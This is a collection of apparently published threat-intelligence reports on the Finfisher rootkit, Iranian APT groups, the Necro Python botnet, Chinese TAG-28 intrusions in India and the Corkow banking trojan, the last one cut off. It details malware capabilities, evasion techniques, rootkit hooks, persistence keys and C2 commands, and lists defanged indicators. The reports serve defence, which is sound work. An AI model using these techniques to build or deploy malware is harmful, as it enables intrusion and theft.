uses the following kernel functions for code injection. As you can see from the analysis, we haven't seen anything new in the Finfisher rootkit. Like other drivers used by attackers, it is intended only for one purpose - injecting malicious code into the Winlogon process. Nevertheless, the authors use some anti-analysis tricks, including driver encryption and obfuscation of some data that the driver keeps in kernel memory.
# Iranian Threat Actors: Preliminary Analysis Nowadays Iran’s cybersecurity capabilities are under microscope. Many news sites, government agencies, and security experts warn about a possible cybersecurity infiltration from the Iranian government and alert to increase cybersecurity defensive levels. This analysis is based on cross-correlation between MITRE ATT&CK and Malpedia about some of the main threat actors attributed to Iran. The following sections describe the TTPs (Tactics, Techniques, and Procedures) used by some of the most influential Iranian APT groups. Each section includes a main graph where the red circles represent the analyzed threat actors, the green circles represent the threat actors' used techniques, the blue circles represent the threat actors' used malware, and the black circles represent the threat actors' used tool sets. ## OilRig According to Malpedia, “OilRig is an Iranian threat group operating primarily in the Middle East by targeting organizations in this region that are in a variety of different industries; however, this group has occasionally targeted organizations outside of the Middle East as well. It also appears OilRig carries out supply chain attacks, where the threat group leverages the trust relationship between organizations to attack their primary targets.” The threat actor uses open-source tools such as Mimikatz and laZagne, common sysadmin toolsets available on Microsoft distribution or Sysinternals such as PsExec, CertUtil, Netstat, SystemInfo, ipconfig, and tasklist. Bonupdater, Helminth, Quadangent, and PowRuner are some of the most sophisticated malware attributed to OilRig and analyzed over the past few years. Techniques are mainly focused on lateral movements and gaining persistence on the victim infrastructure; few of them involve exploiting or 0days initiatives. Those observations suggest a powerful group mostly focused on staying hidden rather than gaining access through advanced techniques. Indeed, no 0days or usage of advanced exploits are found over the target infrastructure. This raises the question: Does OilRig not need advanced exploiting capabilities because it is such a simple way to get into a victim infrastructure? For example, by using user credential leaks, social engineering toolkits, targeted phishing, and so on, or is there more to be discovered? ## MuddyWater According to MITRE, “MuddyWater is an Iranian threat group that has primarily targeted Middle Eastern nations and has also targeted European and North American nations. The group’s victims are mainly in the telecommunications, government (IT services), and oil sectors.” Currently, we have few artifacts related to MuddyWater; indeed, only the Powerstats backdoor is actually attributed to it. Their attacks are typically “hands driven,” which means they do not use automated lateral movement but prefer to use open-source tools or Sysinternals to deliberately move between target networks rather than running massive exploits or scanners. Once landed inside a victim machine, Muddy looks for local credentials and then moves back and forth by using such credentials directly on the network/domain controllers. According to MITRE techniques, MuddyWater may take a few months to take an entire target network, but the accesses are quite silent and well obfuscated. Again, it appears we are facing a group that doesn’t need advanced exploitation activities but rather advanced IT knowledge to move between network segments and eventual proxies/NAT. ## APT33 According to MITRE, “APT33 is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors.” Analyzing the observed TTPs, we might agree that this threat actor looks very close to MuddyWater. If you take a closer look at the Muddy Graph and APT33 graph, you will see many similarities: many tools are shared, many techniques are shared, and even artifacts Powerstats (Muddy) and Powertron (APT33) share functions and a small subset of code. We have more information about APT33 compared to MuddyWater, but similarities in TTPs could lead one to think that APT33 is the main threat actor while MuddyWater is a specific operation of the APT33 actor. However, APT33 has shown destructive intents by using malware such as Shamoon and StoneDrill, while Muddy mostly wants to “backdoor” the victims. ## CopyKittens According to MITRE, “CopyKittens is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip.” CopyKittens differ from the previous actors. First of all, we see the usage of CobaltStrike, which is an autonomous exploiting system. Cobalt and Empire (a post-exploitation framework) taken together would allow the attacker to automate lateral movement. This is a significantly different behavior compared to previous actors. CopyKittens would make much more noise inside an attacked network and would be easier to detect if using such automation tools, but on the other hand, they would be much quicker in reaching their targets and escaping. One more characteristic is the “code signing.” While in OilRig, MuddyWater, and APT33 we mostly observed scripting capabilities, in CopyKittens we observe more advanced code capabilities. Code signing is used on Microsoft Windows and iOS to guarantee that the software comes from a known developer and that it has not been tampered with. Developing more robust and complex software (such as Java, .NET, C++, etc.) is a skill typically attributed to developers. This difference could be significant in suspecting a small set of different people working on CopyKittens. ## Cleaver According to MITRE, “Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889).” We have few information about this group, and there are few similarities. The usage of Mimikatz could be easily adopted for credential dumping, while TinyZBot implements spying capabilities without strong architectural design or code execution or data exfiltration. Just like Charming Kitten, Cleaver is responsible for one of the first most advanced and silent cyber attacks attributed to Iran known until now (OpCleaver, by Cylance). Cleaver's attack capabilities have evolved over time very quickly and, according to Cylance, they have been active since 2012. They appear to have infiltrated some of the world’s economic powers such as Canada, China, England, France, Germany, India, Israel, Kuwait, Mexico, Pakistan, Qatar, Saudi Arabia, South Korea, Turkey, United Arab Emirates, and the United States. Cleaver is considered one of the most advanced threat actors ever, although I personally do not have such evidence to compare Cleaver to the previous ones. ## Threat Actors Comparison Here comes the fun! How about taking all these graphs and comparing them? Common references would highlight similarities, scopes, and common TTPs, and fortunately, we might appreciate them in the following unique network diagram. The interconnection between the analyzed groups could prove that these teams are really linked together. They share techniques, procedures, tools, and infection artifacts, and everything we observe looks like belonging to a unique meta-actor. We might agree that the meta-actor is linked to the sponsoring nation and consider some of those groups as operations. In other words, we might consider a unique group of people that teams up depending on the ongoing operation, adopting similar capabilities and tool sets. OilRig and APT33 are the most known groups attributed to Iran; they share many tools but have two different intents and two different code bases. CopyKittens, for example, have been clustered closer to APT33 while MuddyWater looks like it is clustered straight in the middle of them. However, if we closely analyze the purposes and the used malware, we might agree in aggregating Muddy close to APT33. The weight of shared code should be heavier compared to common tools or techniques, but I did not represent such detail in the graphs. Two different ‘code experiences’ are observed. The first is mostly focused on scripting (Node, Python, AutoIT), which could underline a group of people evolving from IT departments and later acquiring cybersecurity skills, while the second observed behavior is mostly oriented on deep development skills such as Java, .NET, and C++. On the MuddyWater and APT33 side, the usage of scripting engines, PowerShell, and the Empire framework ties them together, plus the lack of exploiting capabilities or sophisticated malware development could lead analysts to think that those threat actors hit their targets without the need for strong development capabilities. On the other hand, OilRig, Cleaver, and CopyKittens appear to have more software development skills and are mostly focused on stealth operations. ## Conclusion This analysis presents a preliminary and personal examination of threat actors attributed to Iran, comparing TTPs from MITRE and relations extracted from Malpedia. The outcome proposes to consider the numerous groups (OilRig, APT33, MuddyWater, Cleaver, etc.) as a primary meta-threat actor and divide them by operations rather than real groups.
# Necro Python Bot Adds New Exploits and Tezos Mining to Its Bag of Tricks **By Vanja Svajcer, with contributions from Caitlin Huey and Kendall McKay.** ## News Summary Some malware families stay static in terms of their functionality. However, a newly discovered malware campaign utilizing the Necro Python bot shows that this actor is adding new functionality and improving its chances of infecting vulnerable systems. The bot contains exploits for more than 10 different web applications and the SMB protocol. Cisco Talos recently discovered the increased activity of the bot, which was first identified in January 2021 in Cisco Secure Endpoint product telemetry, although the bot has been in development since 2015, according to its author. This threat demonstrates several techniques of the MITRE ATT&CK framework, most notably Exploit Public-Facing Application T1190, Scripting - T1064, PowerShell - T1059.001, Process Injection - T1055, Non-Standard Port - T1571, Remote Access Software - T1219, Input Capture - T1056, Obfuscated Files or Information - T1027, and Registry Run Keys/Startup Folder - T1547.001. ## What's New? Although the bot was originally discovered earlier this year, the latest activity shows numerous changes, including different command and control (C2) communications and the addition of new exploits for spreading, notably vulnerabilities in VMWare vSphere, SCO OpenServer, Vesta Control Panel, and SMB-based exploits that were not present in earlier iterations of the code. ## How Did It Work? The infection starts with successful exploitation of a vulnerability in one of the targeted applications or operating systems. The bot targets Linux-based and Windows operating systems. A Java-based downloader is also used for the initial infection stage. The malware uses a combination of a standalone Python interpreter and a malicious script, as well as ELF executables created with PyInstaller. The bot can connect to a C2 server using IRC and accepts commands related to exploitation, launching distributed denial-of-service attacks, configuration changes, and RAT functionality to download and execute additional code or sniff network traffic to exfiltrate captured data. It hides its presence on the system by installing a user-mode rootkit designed to hide the malicious process and registry entries created to ensure that the bot runs every time a user logs into the infected system. A significant part of the code is dedicated to downloading and running a Monero miner (XMRig). The bot also injects code to download and execute a JavaScript-based miner from an attacker-controlled server into HTML and PHP files on infected systems. If the user opens the infected application, a JavaScript-based Monero miner will run within their browser's process space. ## So What? The Necro Python bot shows an actor that follows the latest developments in remote command execution exploits on various web applications and includes new exploits into the bot. This increases its chances of spreading and infecting systems. Users need to ensure they regularly apply the latest security updates to all applications, not just operating systems. Here, we are dealing with a self-replicating, polymorphic bot that attempts to exploit server-side software for spreading. The bot is similar to others, like Mirai, in that it targets small and home office (SOHO) routers. However, this bot uses Python to support multiple platforms, rather than downloading a binary specifically compiled for the targeted system. ## Technical Details ### Necro Bot History and Introduction CheckPoint first documented the Necro Python bot in January this year, and again by Netlab 360 in March. Necro, also known as Necromorph and FreakOut, uses IRC for communication with its C2 server and contains functionality to spread by exploiting vulnerabilities in applications, operating systems, and by brute-forcing passwords over the SSH protocol. Its main payloads are DDoS attacks, sniffing and exfiltration of network traffic using a SOCKS proxy, and installation of cryptocurrency mining software XMRig to mine Monero. The mining functionality also injects itself via JavaScript code to download and launch script-based Monero miner code. ### Visibility in Product Telemetry While researching malicious activity in Cisco Secure products, we spotted a somewhat unusual command line executed on several endpoints running Immunet. Based on the path from where the command was executed, it seemed like the parent process was a web application based on the Oracle WebLogic application server. The code uses PowerShell functionality to download and run a statically linked standalone distribution of Python with all the modules required to run the next file, setup.py, included. The command is slightly different on a Linux system and uses shell commands to download and install the bot and a variant of the XMRig Monero-mining client to participate in a mining pool. The Monero miner is installed by creating a hidden shell script, .bootstrap.sh. The script downloads the XMRig client from the Necro download site and moves it into a hidden folder, ".2," with the filename "sshd" and launches it with the appropriate parameters. ### Spreading The bot spreads by randomly generating network ranges for scanning. The locally allocated network ranges starting with 10, 127, 169, 172, 192, 233, and 234 are excluded from the scanning attempts. Scanning begins when the bot is launched, but it can also be executed by receiving a scanning command over IRC from the C2 server. The bot contains a hardcoded list of TCP ports to scan, which can be augmented by an appropriate command from the C2 server. The initial port list in the samples observed was 22, 80, 443, 7001, 8080, 8081, and 8443. Once an IP address is generated, the bot will connect to a list of ports and attempt to spread either by using a hardcoded list of SSH credentials and issuing a remote command if a login attempt is successful or by exploiting many vulnerabilities in various applications and the Windows operating system (over SMB). ### Exploitation of Applications Earlier versions of Necro exploited the following vulnerabilities in web applications: - Lifearay - Liferay Portal - Java Unmarshalling via JSONWS RCE - Laravel RCE (CVE-2021-3129) - WebLogic RCE (CVE-2020-14882) - TerraMaster TOS - Laminas Project laminas-http before 2.14.2, and Zend Framework 3.0.0: This vulnerability is disputed but still included in the bot code in the latest variants. The latest variants, observed on May 11 and 18, include additional exploits in its arsenal: - ZeroShell 3.9.0 — 'cgi-bin/kerbynet' Remote Root Command Injection - SCO Openserver 5.0.7 — 'outputform' Command Injection - Genexis PLATINUM 4410 2.1 P4410-V2-1.28 — Remote Command Execution vulnerability - VMWare vCenter — Remote Command Execution vulnerability - Nrdh.php remote code execution exploit for an app we could not find Vesta Control Panel command injection is one of the several newly included exploits. The version released on May 18 also included Python versions of EternalBlue (CVE-2017-0144) and EternalRomance (CVE-2017-0147) exploits with a Windows download command line as the payload. The addition of new exploits shows that the actor is actively developing new methods of spreading and following the latest vulnerabilities with published PoCs. In the newest instances discovered on May 22, the bot improved its ability to supply credentials for SMB but excluded it from the main exploit function. The usernames and passwords are now in separate arrays and extended to include many other usernames and passwords. The exploitation function of this sample does not contain EternalBlue and EternalRomance but attempts to connect over SMB (port 445) and create a service remotely to download and run the main bot file. This latest sample is a PyInstaller-generated sample but is a PE file rather than ELF, which was seen previously. ### SSH The bot contains a list of credentials used when an SSH login is attempted. The SSH connection attempt will only be executed if the Paramiko Python SSH module is previously successfully installed. For that purpose, Necro will attempt to download and install a Python module version of pip package manager, which is then used to download and install Paramiko. A hardcoded list of credentials is used for SSH brute-forcing attacks. ### Multiplatform Awareness Apart from being aware of Windows and using Windows for spreading (not mining), we found a truly multi-platform Java class that can run on any operating system but checks if it is running on Windows or Linux. The class simply downloads the Necro bot from the download server and launches it appropriately, depending on the underlying operating system. ### Persistency If run on Windows, Necro will ensure that the bot is run when a user logs into the system or when the system is restarted by setting the following registry values to point to the PyInstaller-created sample or to the Python standalone executable used to run the malicious script setup.py. - HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System explore - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System explore The filename is "$6829.exe," required for the file to be hidden by the rootkit downloaded and installed by the bot. The file's attributes are set to hidden. On Linux, the bot first changes the DNS resolver configuration to point to Cloudflare DNS servers, 1.0.0.1 and 1.1.1.1, potentially to avoid detection of its activity in the local DNS server logs. Persistence is ensured by modifying the /etc/rc.local script to include commands to launch the bot when the system is booted. ### Detection Avoidance The author of the bot seems keen on making it more difficult to detect. It added a polymorphic engine that changes the script code with every iteration and a user-mode rootkit to hide the presence of malicious files, processes, and registry entries. This approach may work well against rudimentary detection methods such as checksum-based detection but fails when faced with modern detection engines and XDR products. ### Polymorphic Engine Python has a built-in module that allows the developer to view the code as it would be seen by the interpreter before it gets compiled to bytecode. The AST module generates an abstract syntax tree object from the source code that may allow runtime modification of the code, as it is also implemented by Necro's polymorphic engine. The engine uses the AST module to find all variables, function definitions, and class definitions and builds a list of names for each type of object in the syntax tree. The engine also implements a class that gets called when AST nodes are visited. Its task is to find ASCII strings and obfuscate them using a simple XOR operation. Once obfuscated, the strings are first compressed using zlib and then converted into escaped strings, which can be later easily decoded in Python. The polymorphic engine is run every time the Necro bot is started. It reads its own file and morphs it to create a new variant. The engine can also be invoked from the C2 server. ### A Variant of r77 Rootkit If the infected operating system is Windows, the bot will generate reflective DLL loading shellcode, enumerate all running processes, and inject a user-mode rootkit DLL based on a variant of r77 rootkit allegedly put together by the Necro bot author. The rootkit first checks for the presence of packet capturing DLLs in memory to detect potential analysis environments and quit execution. Otherwise, the rootkit uses the Hacker disassembler engine to place hooks for the following ntdll.dll functions: - NtUserQueryWindow — Prevent hidden process window enumeration - NtUserGetForegroundWindow — Prevent hidden process window enumeration - NtOpenProcess — Deny access to the hidden process by process handle - NtQuerySystemInformation — Prevent process enumeration and hidden process handles access - NtQueryDirectoryFile — Hide process module on disk - NtEnumerateValueKey — Hide registry values protected by the rootkit - NtDeleteValueKey — Prevent deletion of registry values protected by the rootkit The default string in the rootkit source code for matching the process, file, and registry value names for hiding is "$6829," and this is not changed in the binary versions of the rootkit DLL used by Necro. ### Mining Apart from conducting DDoS attacks, the main function of the bot is to install cryptocurrency mining software to mine Monero. This is done either by installing a variant of XMRig miner or by injecting JavaScript code to download a JavaScript-based miner into script-based files. The address used as a username for supportxmr.com mining pool is: `45iHeQwQaunWXryL9YZ2egJxKvWBtWQUE4PKitu1VwYNUqkhHt6nyCTQb2dbvDRqDPXveNq94DG9uTndKcWLYNoG2uonhgH` This has also been used by some other malware samples, developed predominantly using AutoIt compiled scripts submitted to VirusTotal throughout 2020. The functionality to download XMRig and infect files is only available for Linux-based infected systems and not on Windows. ### Infecting Script Files If the operating system is not Windows, Necro will traverse the file system to find any files with .htm, .html, .php, or .js extensions and add code to download and run a miner loader from an attacker-controlled host. Necro attempts to inject its code into .htm, .html, .js, and .php files. The injected code is randomized, and the loaded script is heavily obfuscated. Once deobfuscated, the strings reveal the final location of the mining payload, which is: `hxxps://cloud-miner[.]de/tkefrep/tkefrep[.]js?tkefrep=bs?nosaj=faster.xmr2` The attacker-controlled server hosting the miner loader as well as C2 for the JavaScript portion of the bot is on: `hxxps://ublock-referer[.]dev/` This server also hosts the main loader campaign.js, referenced in the infection code. Necro injects randomized code to be served by infected server web serving apps. Apart from installing miner code, the JavaScript-based bot contains additional functionality to accept commands from the C2 server and may be used to steal data from the clipboard, log keystrokes, and launch DoS attacks on the target specified by the C2 server. ## Necro Bot Commands and Functionality ### Communication Servers The bot uses different servers for different functionality, most of the servers are accessed through TOR proxies, apart from the first download and install server. The other servers are used for IRC C2 communication, for configuration purposes, and for exfiltration of data collected by the TCP sniffer that sniffs traffic proxied through the bot's SOCKS5 proxy. ### DDoS The bot will accept the following DDoS-related commands and attempt to launch a DoS attack against the target specified by the bot master: - Udpflood — Launch UDP flood-based attack - Synflood — Launch SYN packet-based flooding attack - Tcpflood — Launch attack using TCP for flooding the target - Slowloris — Launch a Slowloris attack - Httpflood — Launch an HTTP flooder using a randomly chosen user-agent string from a hardcoded list - Loadamp — Download content for reflection in amplification attacks - Reflect — Launch amplification attack using DNS, NTP, SNMP, or SSDP reflection Some earlier Necro variants contained slightly different syntax for commands used in IRC communications. ### Sniffer Command The bot contains a sniffer that uses the SOCKS module to proxy the captured traffic to the exfiltration data server. The sniffer captures the IP version, protocol, source and destination addresses, source and destination ports, and the packet payload data. The command for pausing and resuming sniffing is: - Sniffer (resume) — If the command contains the parameter resume, then resume sniffing; otherwise, pause. ### Exploitation Commands The exploitation commands are primarily used for spreading the bot when executed without any parameters. The spreading command can also be sent from the C2 server: - Scanner — Start or stop network scanning - Scannetrange — Supply a network as a parameter and use the parameter as a scan range for exploitation - Scanstats — Send information about the number of scanned and successfully infected endpoints - Clearscan — Clear the status data for the bot ### Backdoor Commands The bot also contains functionality to execute the following remote access trojan (RAT)-related commands: - Revshell — Launch a reverse shell and connect it to the listener set up by the attacker on Linux-based operating systems - Shell — Launch a process using process.popen() function - Download — Download a file from a supplied URL - Execute — First, download, then execute the downloaded file - Update — Update with a new bot version - Visit — Visit a supplied URL - Dlexe — Download and execute a file - Killbypid — Terminate a process with a supplied process ID ### Configuration Commands Configuration commands are targeted to change the configuration of the bot, such as changing the list of ports used in scanning for vulnerable systems: - Addport — Add a TCP port to the list of ports to connect to - Delport — Remove a TCP port from the list of ports to connect to - Killknight — Terminate the bot process - Disable — Disable the exploitation module - Enable — Enable the exploitation module - Getip — Get external IP address for the bot - Ram — Get the RAM capacity of the infected system - Info — Get information about the infected system - Repack — Call the polymorphic engine to morph the bot script file ### Additional Activity Observed Earlier - Tezos Mining and Installing Ransomware Apart from its usual activity of mining for Monero, we have also observed in our honeypots attempts to mine Tezos while installing a Linux-based variant. This variant also used a different download server, which has not been used previously: `can6dodp[.]servepics[.]com`. Tezos (XTZ) mining was observed in Talos honeypots. In a few samples we observed in our honeypot telemetry, after the mining payload is downloaded and executed using bash, we identified mining commands that referenced a Tezos (XTZ) wallet, `tz1NfDViBuZwi31WHwmJ4PtSsVtNX2yLnhG7`. While this activity was minimal and occurred in a very short timeframe starting on May 9, it represents a newer update to the botnet's mining capabilities. On February 4, 2021, Talos observed PowerShell download activity in our endpoint telemetry from `hxxp[:]//193[.]239[.]147[.]224/crytp.exe`. Once downloaded, the AutoIT compiled executable file crytp.exe makes HTTP GET requests to several other URLs as it attempts to download additional malware onto the compromised machine. The download URLs host two DLL rootkit files, `x86.dll` and `x64.dll`, as well as two executables, `bigRANSOM.exe` and `x64i.exe`. bigRANSOM.exe is another AutoIT-based file and may have been an attempt of the Necro actor to distribute ransomware. The ransomware was possibly developed by the actor or a member of the group. AutoIT has been used as one of the main tools in the creation of miners using the same wallet address as the Python-based Necro bot. Although we have seen an attempt to distribute ransomware only once, this example points to an actor constantly experimenting with new payloads. ## Summary The bot's activity has increased at the beginning of May with additional exploits added to its arsenal. The core functionality remained the same, with IRC used for communication with the C2 server and commands designed for launching DDoS, backdoor commands, and commands for stealing and exfiltrating data. The actors' main focus is Monero mining, which is executed by installing a variant of XMRig and by injecting code into HTML and script files to include a JavaScript miner and additional bot functionality for controlling and stealing information from participating browsers. Necro bot shows an actor that follows the latest development in remote command execution exploits on various web applications and includes the new exploits into the bot. This increases its chances of spreading and affecting systems. Users need to ensure they regularly apply the latest security updates to all applications, not just operating systems, and monitor logs for signs of infection.
# Chinese State-Sponsored Intrusions Targeting News Outlets Chinese state-sponsored intrusions targeting news outlets is not a recent phenomenon. In 2013, the New York Times, the Washington Post, and Bloomberg News were targeted by a Chinese group in a widespread intelligence-gathering operation following a series of published articles that were perceived as presenting China unfavorably. Subsequently, in 2014, pro-democracy news outlets in Hong Kong were targeted during the Umbrella Movement protests. TAG-28’s Winnti campaign targeting BCCL is the latest in a long line of targeted intrusions against international media outlets. Following this theme of Chinese targeting of Indian entities, we have identified further suspected intrusions targeting the Indian media conglomerate Bennett Coleman And Co Ltd (BCCL), commonly known as “The Times Group”; the Unique Identification Authority of India (UIDAI); and the Madhya Pradesh Police department. The UIDAI is the Indian government agency responsible for the national identification database, more commonly called “Aadhaar,” which contains private biometric information for over 1 billion Indian citizens. These intrusions were conducted by an activity group we track using a temporary designation, TAG-28. Key Judgments: - TAG-28 highly likely targeted UIDAI due to its ownership of the Aadhaar database. Bulk personally identifiable information (PII) data sets are valuable to state-sponsored threat actors. Likely uses of such data include, but are not limited to, identifying high-value targets such as government officials, enabling social engineering attacks, or enriching other data sources. - Given the reach of The Times Group publications and their consistent reporting on the “India-China war,” TAG-28’s targeting of BCCL is likely motivated by wanting access to journalists and their sources as well as pre-publication content of potentially damaging articles focusing on China or its leadership. - It is less likely that TAG-28 would gain access to media entities to interfere with publishing platforms by changing or disrupting articles supporting Chinese information operations. - As of early August 2021, Recorded Future data shows a 261% increase in the number of suspected state-sponsored Chinese cyber operations targeting Indian organizations and companies already in 2021 compared to 2020. This follows an increase of 120% between 2019 and 2020, demonstrating China’s growing strategic interest in India over the past few years. The identified targeted infrastructure is likely operated by BCCL for the following reasons: - Two of the targeted IPs, 103.220.14[.]5 and 103.220.14[.]114, are advertised by autonomous system (AS) AS135245, registered to Bennett Coleman And Co Ltd. - Multiple BCCL domain names are associated with two of the targeted IPs (103.220.14[.]5 and 14.141.124[.]3). - Targeted IP 103.220.14[.]5 serves an SSL certificate for BCCL domain *.timesnetwork[.]in. - A CheckPoint firewall device using IP 103.220.14[.]5 on TCP port 264 returns the device hostname TIMES-TRADEHOUSE-SM.timesgroup[.]com. - A likely DNS resolver using IP 14.141.124[.]3 on UDP port 53 returns the hostname MDC-LLB-F5-01.timesgroup[.]com. Between February and August 2021, Insikt Group identified 53 IPs assigned to BCCL in sustained and substantial network communications with two Winnti C2 servers (185.161.209[.]87 and 86.107.197[.]182) and a third probable Cobalt Strike C2 178.157.91[.]144. Although we cannot confirm what data specifically was accessed, we observed approximately 500 MB of data being exfiltrated from the BCCL network to the malicious infrastructure. BCCL, commonly known as “The Times Group,” is a privately owned, Mumbai-headquartered multimillion-dollar company that publishes one of the world’s largest English-language newspapers by circulation — The Times of India. BCCL operates across multiple mediums, including publishing, television, internet, and radio. The Times of India and its subsidiaries frequently publish analyses on India-China tensions, and in early March 2021, they were among several Indian media outlets that covered Insikt Group’s public reporting of RedEcho targeting the Indian power sector. On multiple occasions, Chinese state-sponsored groups (APT41, APT12) have targeted the media sector, perhaps most prominently in 2013 when APT12 compromised The New York Times. Based on comprehensive reporting, it is also likely that APT41 has an operational scope to track individuals and conduct surveillance of media entities. The New York Times suggests the timing of the 2013 APT12 attack coincided with reporting on Chinese leadership figures, pointing to a potential flashpoint. The majority of the observed exfiltration activity coincided with reports in The Economic Times of a US Navy “freedom patrol” in the Indian Ocean. The Economic Times (a subsidiary of The Times Group) published two articles on its “India-China war” subsection just days before Insikt Group detected the initial intrusion activity targeting BCCL. Both of the articles, as well as more recently published pieces, could be viewed as being antagonistic towards the Chinese government. While the timing of the initial intrusion and exfiltration activity coinciding with notable naval-related articles is circumstantial evidence of possible intent, it remains plausible that TAG-28’s objectives may have included targeting the media group to garner insight into Indian ocean naval matters or perceived anti-China reporting. TAG-28 likely targeted UIDAI due to its ownership of the Aadhaar database. Large PII data sets are valuable to both nation-state and criminal threat actors for multiple purposes, including potentially identifying high-value intelligence targets such as government officials, enabling surveillance, conducting social engineering attacks, or enriching other data sources. Using Recorded Future NTA data, we identified a Madhya Pradesh Police (MPP) IP communicating with Winnti C2 IP 185.161.209[.]87 over port 80 on June 1, 2021. The MPP IP serves a State Crime Records Bureau (SCRB) website (scrbofficial.mppolice.gov[.]in), which provides links to various web and mobile applications operated by SCRB. Insikt Group later observed additional network activity between another SCRB IP, 210.212.145[.]100, and 185.161.209[.]87, starting July 27 to at least August 9, 2021. Based on limited visibility, we observed less than 5 MB of data transfer between the MPP and the Winnti server during the considered time frame. Madhya Pradesh Chief Minister Shivraj Singh Chouhan was critical of China after the violent border clashes with Chinese troops in the Ladakh region in June 2020, calling for the state’s residents to boycott Chinese products. Citizens and news outlets were quick to point out a 2016 tweet in which Chouhan compared India’s ruling Bharatiya Janata Party (BJP) to the Chinese Communist Party (CCP), stating that there were “tremendous similarities between the two parties,” which shows his clear change in stance on China. Insikt Group identified two Winnti C2s (185.161.209[.]87 and 86.107.197[.]182) and a probable Cobalt Strike C2 (178.157.91[.]144) operated by TAG-28. A further four subdomains were also identified resolving to the same C2 infrastructure. Based on the subdomain names, we assess they were likely impersonating hostnames used for database access, admin panel, or other similar services. Between January 4 and February 25, 2021, the domain ns1.samuelblog[.]info was likely configured as a Cobalt Strike C2. During this period, an NS record for this domain pointed at date.samuelblog[.]info, which subsequently resolved to two IPs, 2.56.213[.]86 and 178.157.91[.]144, both hosted with MVPS Ltd. Using Passive DNS data, we found several suspicious DNS A record queries for variants of the subdomain api.[data resembling hexadecimal notation].ns1.samuelblog[.]info. Where the hex data was longer than 24 characters, the data was split into runs of 56 characters separated by a period. Further research highlighted several other domains displaying a similar pattern (api.[hex data].ns1.); the majority of IPs resolved by these domains had triggered Cobalt Strike C2 server detections in the Recorded Future Platform. Given these factors, we determined the suspicious DNS traffic for samuelblog[.]info was likely a result of its use as a Cobalt Strike C2. Based on our visibility, Insikt Group strongly believes TAG-28 is a Chinese state-sponsored threat activity group tasked with gathering intelligence on Indian targets. Our attribution to China is predicated on their use of Winnti malware, which is exclusively shared among several Chinese state-sponsored activity groups, and their targeting of at least three distinct Indian organizations in this campaign. As we continue to track TAG-28’s operational activity, we will gather additional referential data points that will allow us to build on our current understanding of their capabilities and objectives and highlight overlaps with existing activity groups or graduate TAG-28 to a full-fledged “Red” group like RedEcho or RedFoxtrot. Additional data points, such as persona handles and further upstream attacker infrastructure, would support actor attribution efforts. ## Mitigations Conduct the following measures to detect and mitigate activity associated with TAG-28 activity: - Configure your intrusion detection systems (IDS), intrusion prevention systems (IPS), or any network defense mechanisms in place to alert on — and upon review, consider blocking connection attempts to and from — external IP addresses and domains associated with TAG-28. - Clients can use Recorded Future Hunting Packages to hunt and detect malware families used by TAG-28. - We proactively detect and log malicious server configurations in our Command and Control Security Control Feed. The C2 list includes malware and tools used by TAG-28 and Chinese state-sponsored threat activity groups, such as Winnti, PlugX, and Cobalt Strike. - Recorded Future Threat Intelligence, Third-Party Intelligence, and SecOps Intelligence module users can monitor real-time output from NTA and Malware Analysis analytics to identify suspected targeted intrusion activity involving your organization or key vendors and partners. - Ensure operating systems and software are up to date with the latest patches to protect against known vulnerabilities.
# BOT-TREK CYBER INTELLIGENCE GROUP-IB REPORT: ANALYSIS OF ATTACKS AGAINST TRADING AND BANK CARD SYSTEMS ## Executive Summary In February 2015, the first major successful attack on a Russian trading system occurred when hackers gained unsanctioned access to trading system terminals using a Trojan, resulting in trades of more than $400 million. The criminals made purchases and sales of US dollars in the Dollar/Ruble exchange program on behalf of a bank using malware. The attack lasted only 14 minutes but caused high volatility in the exchange rate of between 55/62 (Buy/Sell) rubles per dollar instead of the stable range of 60-62. Losses to financial institutions were estimated in the millions. The attack utilized the Corkow malware, also known as Metel, which contained specific modules designed for thefts from trading systems, such as QUIK operated by ARQA Technologies and TRANSAQ from ZAO “Screen market systems.” Corkow provided remote access to the ITS-Broker system terminal by «Platforma soft» Ltd., enabling the fraud to be committed. This incident is believed to be a “test” to assess its ability to affect the market and earn money. In August 2015, a new incident related to the Corkow (Metel) Trojan was detected, targeting bank card systems, affecting about 250 banks that serviced cash withdrawals from Visa and MasterCard cards. This attack resulted in hundreds of millions of rubles being stolen via ATMs of the system's members. Group-IB specialists use their unique Bot-Trek TDS threat detection system to identify Corkow and other threats to corporate networks. As of early 2015, this botnet encompassed over 250,000 infected devices worldwide, including more than 100 financial institutions, with 80% from the top 20 list. The botnet is growing daily, and most infected computers have popular antivirus software installed, with companies’ internal networks being highly protected. Judging by the method of infecting devices and corporate networks, Group-IB concludes that all infections were conducted on a random “non-targeted” basis. However, previous investigations on the Anunak group displayed that access to any computer on a corporate network gives access to even the most highly protected banking systems. The attacks against the trading system and bank card system were conducted under the same scenario, allowing forecasts of similar attacks against financial institutions in Russia, the EU, the Middle East, Asia, and the USA in the future. The interest among hackers in targeting trading systems is expected to grow. We express our gratitude to Fox-IT, ESET, and AVG companies for their support in performing this research. ## Key Findings - In February 2015, the first successful attack on a trading system took place, with losses estimated in the millions. - It was a test attack aimed at demonstrating the malware's capabilities. Many traders used the exchange volatility to profit, while hackers purportedly received nothing. - The first targeted attack on a bank card system caused losses in the hundreds of millions of rubles. - Russian-speaking hackers are believed to be responsible for these attacks, using the Corkow Trojan, with no secret services involvement detected. - Various hacker groups show increased interest in trading and brokerage systems, evidenced by specific modifications in the malware they use. - Hackers primarily target companies in Russia and CIS countries, though attacks targeting the USA have increased fivefold since 2011. - Antivirus software is ineffective against these threats; most infected computers have antivirus installed and active. The Trojan can remain undetected for over six months. ## Background One of the first botnets specializing in targeting the trading software called Quik was “Ranbyus,” created in 2012. In 2014, Corkow had a QUIK v.1.0 module for collecting data from the Quik trading software developed by ARQA Technologies. In 2015, Corkow’s developers updated the QUIK module to v.1.1 and released another module TRZQ v.1.0 to copy information from the trading system’s application TRQNSAQ developed by ZAO «Screen market systems». The redevelopment of the old QUIK module and the development of the new TRANSAQ module show the Corkow group’s continued interest in targeting trading systems. ## Chronology of the Corkow Attack Against the Trading System The attack lasted only 14 minutes, during which all losses were sustained. However, preparations 